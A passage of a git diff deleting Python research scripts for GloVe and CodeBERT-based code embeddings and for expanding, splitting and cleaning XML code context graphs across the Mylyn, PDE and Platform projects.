-1,34 +0,0 @@ -import os -import subprocess -from os.path import join - -from glove_embedding import data_process, transfer_vocab, embedding -glove_root = join(os.path.dirname(os.path.dirname(os.path.realpath(__file__))), 'glove_embedding') - - -def train_glove(step, description, ratio): - # 训练glove模型 - if not os.path.exists(join(glove_root, 'trained_model', f'{description}_{step}_{ratio}')): - os.mkdir(join(glove_root, 'trained_model', f'{description}_{step}_{ratio}')) - subprocess.run(f"cd glove && make && bash ./{description}_{step}_{ratio}.sh", shell=True) - # subprocess.run("make", shell=True) - # subprocess.run(f'bash {description}_{step}_{ratio}.sh', shell=True) - - -for step in [1]: - description = 'mylyn' - ratio = 0.8 - # 预处理数据 - print('process data') - data_process.main_func(step, description, ratio) - - print('train glove model') - train_glove(step, description, ratio) - - # 转换模型 - print('transfer model') - transfer_vocab.main_func(step, description, ratio) - - # code embedding - print('embedding glove code') - embedding.main_func(step, description, ratio) diff --git a/glove_embedding/transfer_vocab.py b/glove_embedding/transfer_vocab.py deleted file mode 100644 index 73f94ba..0000000 --- a/glove_embedding/transfer_vocab.py +++ /dev/null @@ -1,21 +0,0 @@ -import os -from os.path import join - -from gensim.test.utils import datapath, get_tmpfile - -glove_root = join(os.path.dirname(os.path.dirname(os.path.realpath(__file__))), 'glove_embedding') - - -def transfer_vocab(step, description, r): - # 输入文件 - glove_file = datapath(join(glove_root, 'trained_model', f'{description}_{step}_{r}', 'vectors.txt')) - # 输出文件 - tmp_file = get_tmpfile(join(glove_root, 'trained_model', f'{description}_{step}_{r}', 'w2v_vectors.txt')) - # call glove2word2vec script - # default way (through CLI): python -m gensim.scripts.glove2word2vec --input --output - from gensim.scripts.glove2word2vec import glove2word2vec - glove2word2vec(glove_file, tmp_file) - - -def main_func(step: int, description, r=0.8): - transfer_vocab(step, description, r) diff --git a/model_expansion/_01_expand_model.py b/model_expansion/_01_expand_model.py deleted file mode 100644 index f0d3e37..0000000 --- a/model_expansion/_01_expand_model.py +++ /dev/null @@ -1,58 +0,0 @@ -""" -该程序用来针对code context model进行扩展,得到用于训练的大图集合 -分1-step,2-step,3-step分别扩展,然后分别保存到相应的文件中 -""" -import os -from os.path import join - -import model_loader -from xmlparser.doxygen_main import get_relations, expand_graph - -root_path = join(os.path.dirname(os.path.dirname(os.path.realpath(__file__))), 'params_validation', 'git_repo_code') - - -def main_func(project_model_name: str): - project_path = join(root_path, project_model_name, 'repo_first_3') - model_dir_list = os.listdir(project_path) - # 读取code context model - model_dir_list = sorted(model_dir_list, key=lambda x: int(x)) - # index = model_dir_list.index('5668') - for model_dir in model_dir_list: - print('---------------', model_dir) - model_path = join(project_path, model_dir) - model_file = join(model_path, 'code_context_model.xml') - # 如果不存在模型,跳过处理 - if not os.path.exists(model_file): - continue - # if os.path.exists(join(model_path, '1_step_expanded_model.xml')): - # continue - # 读取code context model,以及doxygen的结果,分1-step,2-step,3-step扩展图 - # 分别生成1_step_expanded_model.xml,2_step_expanded_model.xml,3_step_expanded_model.xml - # 加载doxygen矩阵 - all_repo_metrics = get_relations.solve_doxygen_metrics(model_path) - print('----metrics loaded') - # 1 step扩展 - # 读code context model - model_graphs = model_loader.load_code_context_model(model_file) - expand_graph.expand_model(model_graphs, all_repo_metrics, 1) - model_loader.save_expanded_model(model_graphs, join(model_path, 'new_1_step_expanded_model.xml')) - # # 2 step扩展 需要重置 - model_graphs = model_loader.load_code_context_model(model_file) - expand_graph.expand_model(model_graphs, all_repo_metrics, 2) - model_loader.save_expanded_model(model_graphs, join(model_path, 'new_2_step_expanded_model.xml')) - # # 3 step扩展 - model_graphs = model_loader.load_code_context_model(model_file) - expand_graph.expand_model(model_graphs, all_repo_metrics, 3) - model_loader.save_expanded_model(model_graphs, join(model_path, 'new_3_step_expanded_model.xml')) - - -if __name__ == '__main__': - # ecf - # main_func('my_ecf') - # pde - main_func('my_pde') - # platform - main_func('my_platform') - # # mylyn - # print(root_path) - main_func('my_mylyn') diff --git a/model_expansion/_02_correct_origin.py b/model_expansion/_02_correct_origin.py deleted file mode 100644 index 5ccae45..0000000 --- a/model_expansion/_02_correct_origin.py +++ /dev/null @@ -1,104 +0,0 @@ -""" -由于进行了component拆分,所有可能扩展的时候会引入true节点,所以需要重新修正 -""" -import os -import shutil -from os.path import join -import xml.etree.ElementTree as ET - -root_path = join(os.path.dirname(os.path.dirname(os.path.realpath(__file__))), 'params_validation', 'git_repo_code') - - -def load_origin_model(model_path): - tree = ET.parse(model_path) # 拿到xml树 - # 获取XML文档的根元素 - root = tree.getroot() - graphs = root.findall("graph") - all_nodes = [] - all_edges = [] - for graph in graphs: - vertices = graph.find('vertices').findall('vertex') - edges = graph.find('edges').findall('edge') - all_nodes = all_nodes + vertices - all_edges = all_edges + edges - return all_nodes, all_edges - - -def exist_node(vertices: list[ET.Element], ref_id): - for node in vertices: - if node.get('ref_id') == ref_id: - return True - return False - - -def exist_edge(all_nodes: list[ET.Element], nodes: list[ET.Element], start, end): - s = False - for node in nodes: - if node.get('id') == start: - if exist_node(all_nodes, node.get('ref_id')): - s = True - break - if not s: - return False - e = False - for node in nodes: - if node.get('id') == end: - if exist_node(all_nodes, node.get('ref_id')): - e = True - break - return e - - -def main_func(project_model_name: str, step): - project_path = join(root_path, project_model_name, 'repo_first_3') - model_dir_list = os.listdir(project_path) - # 读取code context model - model_dir_list = sorted(model_dir_list, key=lambda x: int(x)) - # index = model_dir_list.index('5232') - for model_dir in model_dir_list: - print('---------------', model_dir) - model_path = join(project_path, model_dir) - model_file = join(model_path, f'new_{step}_step_expanded_model.xml') - rename_model_file = join(model_path, '_code_context_model.xml') - all_nodes, all_edges = load_origin_model(rename_model_file) - # 如果不存在模型,跳过处理 - if not os.path.exists(model_file): - continue - # shutil.copy(rename_model_file, model_file) - # 下面对code context model进行component拆分 - tree = ET.parse(model_file) # 拿到xml树 - # 获取XML文档的根元素 - root = tree.getroot() - graphs = root.findall("graph") - for graph in graphs: - print('graph------------{}+{}'.format(len(all_nodes), len(all_edges))) - vertices = graph.find('vertices').findall('vertex') - edges = graph.find('edges').findall('edge') - for node in vertices: - if node.get('origin') == '0' and exist_node(all_nodes, node.get('ref_id')): - node.set('origin', '1') - print('changed node origin to 1') - for link in edges: - if link.get('origin') == '0' and exist_edge(all_nodes, vertices, link.get('start'), link.get('end')): - link.set('origin', '1') - # print('changed edge origin to 1') - # 将XML写入文件 - tree.write(model_file) - - -if __name__ == '__main__': - # ecf - # main_func('my_ecf') - # pde - main_func('my_pde', 1) - main_func('my_pde', 2) - main_func('my_pde', 3) - # platform - main_func('my_platform', 1) - main_func('my_platform', 2) - main_func('my_platform', 3) - # # mylyn - # print(root_path) - main_func('my_mylyn', 1) - main_func('my_mylyn', 2) - main_func('my_mylyn', 3) diff --git a/model_expansion/delete_file.py b/model_expansion/delete_file.py deleted file mode 100644 index c7d28a9..0000000 --- a/model_expansion/delete_file.py +++ /dev/null @@ -1,33 +0,0 @@ -import os - -from os.path import join - -import warnings -from tqdm.auto import tqdm - -tqdm.pandas() -warnings.filterwarnings('ignore') - -repo_root_path = join(os.path.dirname(os.path.dirname(os.path.realpath(__file__))), 'params_validation', - 'git_repo_code') - - -def main_func(): - for project_model_name in ['my_pde', 'my_platform', 'my_mylyn']: - print('************', project_model_name) - project_path = join(repo_root_path, project_model_name, 'repo_first_3') - model_dir_list = os.listdir(project_path) - model_dir_list = sorted(model_dir_list, key=lambda x: int(x)) - for model_dir in model_dir_list: - print('---------------', model_dir) - model_path = join(project_path, model_dir) - file_path = join(model_path, 'new1_3_step_expanded_model.xml') - # 如果不存在ast,跳过处理 - if os.path.exists(file_path): - print('---------------', file_path) - os.remove(file_path) - # os.rename(file_path, join(model_path, 'new1_2_step_expanded_model.xml')) - - -if __name__ == '__main__': - main_func() diff --git a/model_expansion/delete_illegal_model.py b/model_expansion/delete_illegal_model.py deleted file mode 100644 index 19aa26e..0000000 --- a/model_expansion/delete_illegal_model.py +++ /dev/null @@ -1,51 +0,0 @@ -""" -delete illegal model -将不支持预测的model删除,也就是连通分量中节点个数最大都是1的模型 -""" -import os -import shutil -from os.path import join -import xml.etree.ElementTree as ET - -root_path = join(os.path.dirname(os.path.dirname(os.path.realpath(__file__))), 'params_validation', 'git_repo_code') - - -def main_func(project_model_name: str): - project_path = join(root_path, project_model_name, 'repo_first_3') - model_dir_list = os.listdir(project_path) - # 读取code context model - model_dir_list = sorted(model_dir_list, key=lambda x: int(x)) - count = 0 - for model_dir in model_dir_list: - # print('---------------', model_dir) - model_path = join(project_path, model_dir) - model_file = join(model_path, 'code_context_model.xml') - # model_file = join(model_path, '_code_context_model.xml') - # 如果不存在模型,跳过处理 - if not os.path.exists(model_file): - # 也删除 - shutil.rmtree(model_path) - print(f'delete {model_file}') - count += 1 - # 下面对code context model进行component拆分 - tree = ET.parse(model_file) # 拿到xml树 - # 获取XML文档的根元素 - root = tree.getroot() - graphs = root.findall("graph") - if len(graphs) == 0: - # delete - shutil.rmtree(model_path) - print(f'delete {model_file}') - count += 1 - print(count) - - -if __name__ == '__main__': - # ecf - # main_func('my_ecf') - # pde - main_func('my_pde') - # platform - main_func('my_platform') - # # mylyn - main_func('my_mylyn') diff --git a/model_expansion/model_loader.py b/model_expansion/model_loader.py deleted file mode 100644 index d5892e0..0000000 --- a/model_expansion/model_loader.py +++ /dev/null @@ -1,86 +0,0 @@ -""" -扩展code context model的工具类,提供加载模型和保存模型方法 -""" -import os -import xml.etree.ElementTree as ET - -from xmlparser.doxygen_main.Graph import Graph -from xmlparser.doxygen_main.expand_graph import function_like_kind, variable_like_kind - - -def load_code_context_model(model_file: str): - """ - 加载code context model为 Graph 对象 - - :param model_file: context model xml文件路径 - :return: 加载的图集合 - """ - tree = ET.parse(model_file) # 拿到xml树 - # 获取XML文档的根元素 - code_context_model = tree.getroot() - graphs = code_context_model.findall("graph") - graph_list: list[Graph] = [] - for graph in graphs: - g = Graph() - g.set_repo_name(graph.get('repo_name')) - g.set_repo_path(graph.get('repo_path')) - vertices = graph.find('vertices') - vertex_list = vertices.findall('vertex') - for vertex in vertex_list: - g.add_vertex_origin(vertex.get('ref_id'), vertex.get('kind'), vertex.get('label')) - edges = graph.find('edges') - edge_list = edges.findall('edge') - for edge in edge_list: - g.add_edge_origin(int(edge.get('start')), int(edge.get('end')), edge.get('label')) - graph_list.append(g) - print('load {} code context model over~~~~~~~~~~~~'.format(model_file)) - return graph_list - - -def save_expanded_model(graph_list: list[Graph], save_path: str): - """ - 保存扩展的模型到文件 - - :param graph_list: 图集合 - :param save_path: 保存的文件路径 - :return: 无 - """ - if os.path.isfile(save_path): - os.remove(save_path) - # if len(graph_list) == 0: - # return - # 写图文件,将几个图组合在一起,就是代码上下文模型 - model_root = ET.Element("expanded_model") - model_root.set('total', str(len(graph_list))) - for graph in graph_list: - graph_node = ET.SubElement(model_root, 'graph') - graph_node.set('repo_name', graph.repo_name) - graph_node.set('repo_path', graph.repo_path) - vertices = ET.SubElement(graph_node, 'vertices') - vertices.set('total', str(len(graph.vertices))) - for vertex in graph.vertices: - v_node = ET.SubElement(vertices, 'vertex') - v_node.set('id', str(vertex.id)) - v_node.set('ref_id', vertex.ref_id) - v_node.set('kind', vertex.kind) - v_node.set('label', vertex.label) - v_node.set('origin', str(vertex.origin)) - if vertex.kind in function_like_kind or vertex.kind in variable_like_kind: - # vertex.location.print() - v_node.set('file', str(vertex.location.file)) - v_node.set('line', str(vertex.location.line)) - v_node.set('column', str(vertex.location.column)) - v_node.set('body_file', str(vertex.location.body_file)) # 这个可能为None,所以也转一下 - v_node.set('body_start', str(vertex.location.body_start)) - v_node.set('body_end', str(vertex.location.body_end)) - edges = ET.SubElement(graph_node, 'edges') - edges.set('total', str(len(graph.edges))) - for edge in graph.edges: - e_node = ET.SubElement(edges, 'edge') - e_node.set('start', str(edge.start)) - e_node.set('end', str(edge.end)) - e_node.set('label', edge.label) - e_node.set('origin', str(edge.origin)) - model_tree = ET.ElementTree(model_root) - model_tree.write(save_path) - print('~~~~~~expanded model saved in {0}~~~~~~'.format(save_path)) diff --git a/model_expansion/split_component.py b/model_expansion/split_component.py deleted file mode 100644 index 4eb812b..0000000 --- a/model_expansion/split_component.py +++ /dev/null @@ -1,124 +0,0 @@ -""" -将code context model拆分component -""" -import os -import shutil -from os.path import join -import xml.etree.ElementTree as ET - -import networkx as nx - -root_path = join(os.path.dirname(os.path.dirname(os.path.realpath(__file__))), 'params_validation', 'git_repo_code') - - -def get_graph(vertices: list[ET.Element], edges: list[ET.Element]): - g = nx.DiGraph() - # 转化为图结构 - for node in vertices: - g.add_node(node.get('id'), kind=node.get('kind')) - for link in edges: - g.add_edge(link.get('start'), link.get('end'), label=link.get('label')) - return g - - -def get_node(vertices: list[ET.Element], _id): - for node in vertices: - if node.get('id') == _id: - return node - - -def get_edge(edges: list[ET.Element], start, end): - for edge in edges: - if edge.get('start') == start and edge.get('end') == end: - return edge - - -def main_func(project_model_name: str): - project_path = join(root_path, project_model_name, 'repo_first_3') - model_dir_list = os.listdir(project_path) - # 读取code context model - model_dir_list = sorted(model_dir_list, key=lambda x: int(x)) - # index = model_dir_list.index('5668') - for model_dir in model_dir_list: - print('---------------', model_dir) - model_path = join(project_path, model_dir) - model_file = join(model_path, 'code_context_model.xml') - origin_model_file = join(model_path, '_code_context_model.xml') - # 如果不存在模型,跳过处理 - if not os.path.exists(origin_model_file): - continue - # shutil.copy(origin_model_file, model_file) - # 下面对code context model进行component拆分 - tree = ET.parse(origin_model_file) # 拿到xml树 - # 获取XML文档的根元素 - root = tree.getroot() - graphs = root.findall("graph") - new_root = ET.Element("code_context_model") - new_root.set('commit', root.get('commit')) - total = 0 - new_root.set('first_time', root.get('first_time')) - new_root.set('last_time', root.get('last_time')) - for graph in graphs: - repo_name = graph.get('repo_name') - repo_path = graph.get('repo_path') - vertices = graph.find('vertices').findall('vertex') - edges = graph.find('edges').findall('edge') - net_graph = get_graph(vertices, edges) - need_to_remove = [] - for (u, v, c) in net_graph.edges.data('label'): - # 去除有关字段的调用关系 - if c == 'calls' and net_graph.nodes[v]['kind'] == 'variable': - need_to_remove.append((u, v, c)) - for u, v, c in need_to_remove: - print('remove call field edge: ', u, v, c) - net_graph.remove_edge(u, v) - connected_components = list(nx.weakly_connected_components(net_graph)) - for cc in connected_components: - subgraph = net_graph.subgraph(cc) - if len(subgraph.nodes) <= 1: - continue - new_graph = ET.SubElement(new_root, 'graph') - new_graph.set('repo_name', repo_name) - new_graph.set('repo_path', repo_path) - new_vertices = ET.SubElement(new_graph, 'vertices') - new_edges = ET.SubElement(new_graph, 'edges') - new_vertices.set('total', str(len(subgraph.nodes))) - new_edges.set('total', str(len(subgraph.edges))) - id_map = dict() - count = 0 - # print(subgraph.nodes) - sorted_nodes = sorted(subgraph.nodes, key=lambda x: int(x)) - print(sorted_nodes) - for i in sorted_nodes: - id_map[i] = str(count) - count += 1 - for node in sorted_nodes: - node_element = get_node(vertices, node) - new_vertex = ET.SubElement(new_vertices, 'vertex') - new_vertex.set('id', id_map.get(node_element.get('id'))) - new_vertex.set('ref_id', node_element.get('ref_id')) - new_vertex.set('kind', node_element.get('kind')) - new_vertex.set('label', node_element.get('label')) - for edge in subgraph.edges: - edge_element = get_edge(edges, edge[0], edge[1]) - new_edge = ET.SubElement(new_edges, 'edge') - new_edge.set('start', id_map.get(edge_element.get('start'))) - new_edge.set('end', id_map.get(edge_element.get('end'))) - new_edge.set('label', edge_element.get('label')) - total += 1 - new_root.set('total', str(total)) - new_tree = ET.ElementTree(new_root) - # 将XML写入文件 - new_tree.write(model_file) - - -if __name__ == '__main__': - # ecf - # main_func('my_ecf') - # pde - main_func('my_pde') - # # platform - main_func('my_platform') - # mylyn - # print(root_path) - main_func('my_mylyn') diff --git a/my_embedding/BPE.py b/my_embedding/BPE.py deleted file mode 100644 index 7c5ca7a..0000000 --- a/my_embedding/BPE.py +++ /dev/null @@ -1,25 +0,0 @@ -import os - - -def train_PDE(corpus, save_path): - from tokenizers import Tokenizer - from tokenizers.models import BPE - tokenizer = Tokenizer(BPE(unk_token="[UNK]")) - - from tokenizers.trainers import BpeTrainer - trainer = BpeTrainer(special_tokens=["[UNK]", "[CLS]", "[SEP]", "[PAD]", "[MASK]"]) - from tokenizers.pre_tokenizers import Whitespace - tokenizer.pre_tokenizer = Whitespace() - - # files = [f"data/wikitext-103-raw/wiki.{split}.raw" for split in ["test", "train", "valid"]] - # tokenizer.train(files, trainer) - tokenizer.train_from_iterator(corpus, trainer) - os.mkdir(save_path) - tokenizer.save("tokenizer.json") - -# tokenizer = Tokenizer.from_file("tokenizer-wiki.json") -# output = tokenizer.encode("Hello, y'all! How are you ?") -# print(output.tokens) -# # ["Hello", ",", "y", "'", "all", "!", "How", "are", "you", "[UNK]", "?"] -# print(output.ids) -# # [27253, 16, 93, 11, 5097, 5, 7961, 5112, 6218, 0, 35] \ No newline at end of file diff --git a/my_embedding/embedding.py b/my_embedding/embedding.py deleted file mode 100644 index 6223aee..0000000 --- a/my_embedding/embedding.py +++ /dev/null @@ -1,197 +0,0 @@ -""" -根据 word2vec 模型和 block sequence 生成词向量 -""" -import copy -import os -from os.path import join - -import pandas as pd -import numpy as np -import torch -from javalang.tree import FieldDeclaration, ConstructorDeclaration, ClassDeclaration, InterfaceDeclaration, \ - MethodDeclaration, ConstantDeclaration -from tqdm.auto import tqdm -import xml.etree.ElementTree as ET - -import warnings -from gensim.models.word2vec import Word2Vec - -from my_model import BatchProgramCC - -tqdm.pandas() -warnings.filterwarnings('ignore') - -repo_root_path = join(os.path.dirname(os.path.dirname(os.path.realpath(__file__))), 'params_validation', - 'git_repo_code') -root_path = join(os.path.dirname(os.path.dirname(os.path.realpath(__file__))), 'my_embedding') - - -def choose_prediction_step(step: int, ast: pd.DataFrame, model_path, model_dir): - """ - 根据 step 过滤 ast - - :param ast: 完整的 ast 数据 - :param model_path: model 所在路径 - :param model_dir: model 序号 - :return: 过滤后的 ast - """ - if step == 3: - return ast - else: - step_model_path = join(model_path, str(step) + '_step_expanded_model.xml') - tree = ET.parse(step_model_path) # 拿到xml树 - # 获取XML文档的根元素 - code_context_model = tree.getroot() - graphs = code_context_model.findall("graph") - keys = [] - for graph in graphs: - vertices = graph.find('vertices') - vertex_list = vertices.findall('vertex') - for vertex in vertex_list: - ref_id = vertex.get('ref_id') - kind = vertex.get('kind') - keys.append(model_dir + '_' + kind + '_' + ref_id) - return ast[ast['id'].isin(keys)] - - -def generate_block_seqs(code_ast) -> list[list]: - """ - generate block sequences with index representations - - Returns: - """ - from utils import get_blocks_v1 - - def tree_to_index(node): - token = node.token - # 如果在词汇表中,就用词汇表的token,否则为最大的token - result = [token] - children = node.children - for child in children: - result.append(tree_to_index(child)) - return result - - def trans2seq(r): - """transfer tree to word token sequences - - :arg r: ast tree - """ - # print('ast tree: ', r) - blocks = [] - get_blocks_v1(r, blocks) # 这里应该是根据ast tree去得到子树的一系列表达 - # print('get_blocks', r, '--------', blocks) - tree = [] - for b in blocks: - btree = tree_to_index(b) # 然后去转换为vocab token形式 - tree.append(btree) - # print(tree) - return tree - - blocks = trans2seq(code_ast) # 将code转换为sequence - return blocks # 这里实际上是用于去预测的处理过的数据,是code word2vec sequence - - -def pooling_class_interface_embedding(tree, model): - # print(tree) - embeddings = [] - chi = copy.deepcopy(tree.children[4]) - tree.children[4].clear() - # embedding first using self information, prevent the error from no body - embeddings.append(model.encode(generate_block_seqs(tree))) - for i in chi: - tree.children[4].append(i) - children = tree.children[4] - for c in children: - if isinstance(c, FieldDeclaration) or isinstance(c, ConstantDeclaration): - embeddings.append(model.encode(generate_block_seqs(c))) - elif isinstance(c, MethodDeclaration) or isinstance(c, ConstructorDeclaration): - embeddings.append(model.encode(generate_block_seqs(c))) - elif isinstance(c, ClassDeclaration) or isinstance(c, InterfaceDeclaration): - embeddings.append(pooling_class_interface_embedding(c, model)) - # print(len(embeddings)) - # print(torch.cat(embeddings)) - return torch.mean(torch.stack(embeddings), dim=0) - # return torch.max(torch.stack(embeddings), dim=0).values - - -def get_embedding(ast_df: pd.DataFrame, model) -> pd.DataFrame: - """ - 读取 block 文件,获取每个 element's 200 embedding vector,并保存到 vector.pkl 文件中 - """ - print(f'embedding code...->{ast_df.shape}') - - def embedding(member): - """ - 需要针对不同的类型进行不同的embedding code - function and variable directly embedding,class and interface need to pooling - - :param member: [id, ast] - :return: code embedding - """ - _id: str = member[0] - _id = _id[_id.find('_') + 1:] - code_type = _id[:_id.find('_')] - code_ast = member[1] - # print(member) - if code_type == 'class' or code_type == 'interface': - # first get embedding of all fields and methods, and then max pooling - final_embedding = pooling_class_interface_embedding(code_ast, model) - else: - final_embedding = model.encode(generate_block_seqs(code_ast)) - return final_embedding - - for i, row in ast_df.iterrows(): - ast_df.at[i, 'code'] = embedding(row) - ast_df.columns = ['id', 'embedding'] - return ast_df - - - -def main_func(step, description, r=0.8, use_gpu=True): - if description == 'all': - # project_model_list = ['my_pde', 'my_platform', 'my_mylyn'] - project_model_list = ['my_pde'] - ratio = r - elif description == 'onlymylyn': - project_model_list = ['my_mylyn'] - ratio = 1 - elif description == 'nopde': - project_model_list = ['my_platform', 'my_mylyn'] - ratio = 1 - elif description == 'noplatform': - project_model_list = ['my_pde', 'my_mylyn'] - # project_model_list = ['my_mylyn'] - ratio = 1 - elif description == 'mylyn': - project_model_list = ['my_mylyn'] - ratio = r - else: - project_model_list = [] - ratio = 1 - EMBEDDING_DIM = 768 - HIDDEN_DIM = 100 # final embedding size = HIDDEN_DIM * 2 - ENCODE_DIM = 256 - BATCH_SIZE = 1 - USE_GPU = use_gpu - model = BatchProgramCC(EMBEDDING_DIM, HIDDEN_DIM, ENCODE_DIM, BATCH_SIZE, - USE_GPU) - if USE_GPU: - model.cuda() - # model.to('cuda:1') - model.hidden = model.init_hidden() - for project_model_name in project_model_list: - print('**********', project_model_name) - project_path = join(repo_root_path, project_model_name, 'repo_first_3') - model_dir_list = os.listdir(project_path) - model_dir_list = sorted(model_dir_list, key=lambda x: int(x)) - for model_dir in model_dir_list[model_dir_list.index('1714'):]: - print('---------------', model_dir) - model_path = join(project_path, model_dir) - ast_path = join(model_path, 'astnn_ast.pkl') - # 如果不存在ast,跳过处理 - if not os.path.exists(ast_path): - continue - ast_df = pd.read_pickle(ast_path) - ast_df = choose_prediction_step(step, ast_df, model_path, model_dir) - get_embedding(ast_df, model).to_pickle(join(model_path, f'{description}_{step}_my_embedding.pkl')) - torch.cuda.empty_cache() diff --git a/my_embedding/get_codebert.py b/my_embedding/get_codebert.py deleted file mode 100644 index b7f1063..0000000 --- a/my_embedding/get_codebert.py +++ /dev/null @@ -1,28 +0,0 @@ -from transformers import AutoTokenizer, AutoModel -from tokenizers import Tokenizer -import torch - -tokenizer = AutoTokenizer.from_pretrained("./codebert_base") -model = AutoModel.from_pretrained("./codebert_base") -BPE_tokenizer = Tokenizer.from_file("./tokens/all_1_0.8_tokens_128.json") -# torch.Size([1, 23, 768]) -# tensor([[-0.1423, 0.3766, 0.0443, ..., -0.2513, -0.3099, 0.3183], -# [-0.5739, 0.1333, 0.2314, ..., -0.1240, -0.1219, 0.2033], -# [-0.1579, 0.1335, 0.0291, ..., 0.2340, -0.8801, 0.6216], -# ..., -# [-0.4042, 0.2284, 0.5241, ..., -0.2046, -0.2419, 0.7031], -# [-0.3894, 0.4603, 0.4797, ..., -0.3335, -0.6049, 0.4730], -# [-0.1433, 0.3785, 0.0450, ..., -0.2527, -0.3121, 0.3207]], -# grad_fn=) - -def codebert(current_node: list[str]): - result = [] - for node in current_node: - output = BPE_tokenizer.encode(node) - tokens = tokenizer.tokenize(' '.join(output.tokens)) - tokens_ids = tokenizer.convert_tokens_to_ids(tokens) - if len(tokens_ids) == 0: - tokens_ids = tokenizer.convert_tokens_to_ids(['[UNK]']) - context_embeddings = model(torch.tensor(tokens_ids)[None, :])[0] - result.append(torch.mean(context_embeddings, dim=1)) - return torch.cat(result, dim=0) diff --git a/my_embedding/my_entry.py b/my_embedding/my_entry.py deleted file mode 100644 index 48e342c..0000000 --- a/my_embedding/my_entry.py +++ /dev/null @@ -1,62 +0,0 @@ -import os - -import embedding -import train_BPE - - -os.environ["CUDA_VISIBLE_DEVICES"] = "1" # GPU编号 - -def train_mylyn(step, r): - # 训练word2vec模型 - train_BPE.main_func(step=step, description='mylyn', r=r) - # 转换为词向量 - embedding.main_func(step=step, description='mylyn', r=r) - - -# 全部训练 -def train_all(step, r): - """ - 全部训练,得到节点嵌入 - """ - # 训练word2vec模型 - # train_BPE.main_func(step=step, description='all', r=r) - # 转换为词向量 - embedding.main_func(step=step, description='all', r=r) - - -def train_onlymylyn(step): - """ - 只把mylyn作为训练数据,得到节点嵌入 - """ - # train_word2vec.main_func(step=step, description='onlymylyn') - embedding.main_func(step=step, description='onlymylyn') - - -def train_nopde(step): - """ - 把除pde外的三个项目作为训练数据,得到节点嵌入 - """ - train_BPE.main_func(step=step, description='nopde') - embedding.main_func(step=step, description='nopde') - - -def train_noplatform(step): - """ - 把除 platform 外的三个项目作为训练数据,得到节点嵌入 - """ - train_BPE.main_func(step=step, description='noplatform') - embedding.main_func(step=step, description='noplatform') - - -# train_mylyn(step=1, r=0.84) -# train_mylyn(step=2, r=0.84) -# train_mylyn(step=3, r=0.84) -# train_mymylyn(step=1, r=0.8) -# train_mymylyn(step=2, r=0.8) -# train_mymylyn(step=3, r=0.8) -train_all(step=1, r=0.8) # pde=55 -# train_all(step=2, r=0.8) # 365 -# train_all(step=3, r=0.8) -# train_onlymylyn(step=1) -# train_onlymylyn(step=2) # -# train_onlymylyn(step=3) # 0 diff --git a/my_embedding/my_entry_for_mylyn.py b/my_embedding/my_entry_for_mylyn.py deleted file mode 100644 index 7ed31c4..0000000 --- a/my_embedding/my_entry_for_mylyn.py +++ /dev/null @@ -1,59 +0,0 @@ -import os - -import embedding -import train_BPE - - -os.environ["CUDA_VISIBLE_DEVICES"] = "1" # GPU编号 - -def train_mylyn(step, r): - # 训练word2vec模型 - # train_BPE.main_func(step=step, description='mylyn', r=r) - # 转换为词向量 - embedding.main_func(step=step, description='mylyn', r=r) - - -# 全部训练 -def train_all(step, r): - """ - 全部训练,得到节点嵌入 - """ - # 训练word2vec模型 - # train_BPE.main_func(step=step, description='all', r=r) - # 转换为词向量 - embedding.main_func(step=step, description='all', r=r) - - -def train_onlymylyn(step): - """ - 只把mylyn作为训练数据,得到节点嵌入 - """ - # train_word2vec.main_func(step=step, description='onlymylyn') - embedding.main_func(step=step, description='onlymylyn') - - -def train_nopde(step): - """ - 把除pde外的三个项目作为训练数据,得到节点嵌入 - """ - train_BPE.main_func(step=step, description='nopde') - embedding.main_func(step=step, description='nopde') - - -def train_noplatform(step): - """ - 把除 platform 外的三个项目作为训练数据,得到节点嵌入 - """ - train_BPE.main_func(step=step, description='noplatform') - embedding.main_func(step=step, description='noplatform') - - -train_mylyn(step=1, r=0.74) # 1714 -# train_mylyn(step=2, r=0.74) -# train_mylyn(step=3, r=0.74) -# train_all(step=1, r=0.8) -# train_all(step=2, r=0.8) -# train_all(step=3, r=0.8) -# train_onlymylyn(step=1) -# train_onlymylyn(step=2) -# train_onlymylyn(step=3) diff --git a/my_embedding/my_model.py b/my_embedding/my_model.py deleted file mode 100644 index 4124871..0000000 --- a/my_embedding/my_model.py +++ /dev/null @@ -1,166 +0,0 @@ -import torch.nn as nn -import torch.nn.functional as F -import torch - -from my_embedding.get_codebert import codebert - -torch.manual_seed(0) -print(torch.__version__) -class BatchTreeEncoder(nn.Module): - def __init__(self, embedding_dim, encode_dim, batch_size, use_gpu): - super(BatchTreeEncoder, self).__init__() - self.embedding_dim = embedding_dim - self.encode_dim = encode_dim - self.W_c = nn.Linear(embedding_dim, encode_dim) - self.activation = F.relu - self.stop = -1 - self.batch_size = batch_size - self.use_gpu = use_gpu - self.node_list = [] - self.th = torch.cuda if use_gpu else torch - self.batch_node = None - - def create_tensor(self, tensor): - """将tensor送到GPU""" - if self.use_gpu: - return tensor.cuda() - return tensor - - def traverse_mul(self, node, batch_index): # encodes, [0, 1, 2,....., ?] - size = len(node) # ? - if not size: - return None - batch_current = self.create_tensor(torch.Tensor(torch.zeros(size, self.embedding_dim))) # ?*128 - index, children_index = [], [] - current_node, children = [], [] - for i in range(size): - # if node[i][0] is not -1: - index.append(i) - current_node.append(node[i][0]) - temp = node[i][1:] - c_num = len(temp) - for j in range(c_num): - if temp[j][0] != -1: - if len(children_index) <= j: - children_index.append([i]) - children.append([temp[j]]) - else: - children_index[j].append(i) - children[j].append(temp[j]) - # embedding默认会随机生成词向量,这里应该是不需要的,设置种子为0可以针对相同输入输出固定词向量 - batch_current = self.W_c(batch_current.index_copy(0, torch.Tensor(self.th.LongTensor(index)), - codebert(current_node).cuda())) - for c in range(len(children)): - zeros = self.create_tensor(torch.Tensor(torch.zeros(size, self.encode_dim))) - batch_children_index = [batch_index[i] for i in children_index[c]] - tree = self.traverse_mul(children[c], batch_children_index) - if tree is not None: - batch_current += zeros.index_copy(0, torch.Tensor(self.th.LongTensor(children_index[c])), tree) - b_in = torch.Tensor(self.th.LongTensor(batch_index)) - self.node_list.append(self.batch_node.index_copy(0, b_in, batch_current)) - return batch_current - - def forward(self, x, bs): # encodes ? - self.batch_size = bs # ? - self.batch_node = self.create_tensor(torch.Tensor(torch.zeros(self.batch_size, self.encode_dim))) - # ? * 128 - self.node_list = [] - self.traverse_mul(x, list(range(self.batch_size))) - # 将一系列张量沿着一个新的维度进行拼接,默认为0 - self.node_list = torch.stack(self.node_list) - # ?? * ? *128 ??应该是表示对子树进行递归后生成的向量数目 - max_node = torch.max(self.node_list, 0)[0] # ? * 128 - # 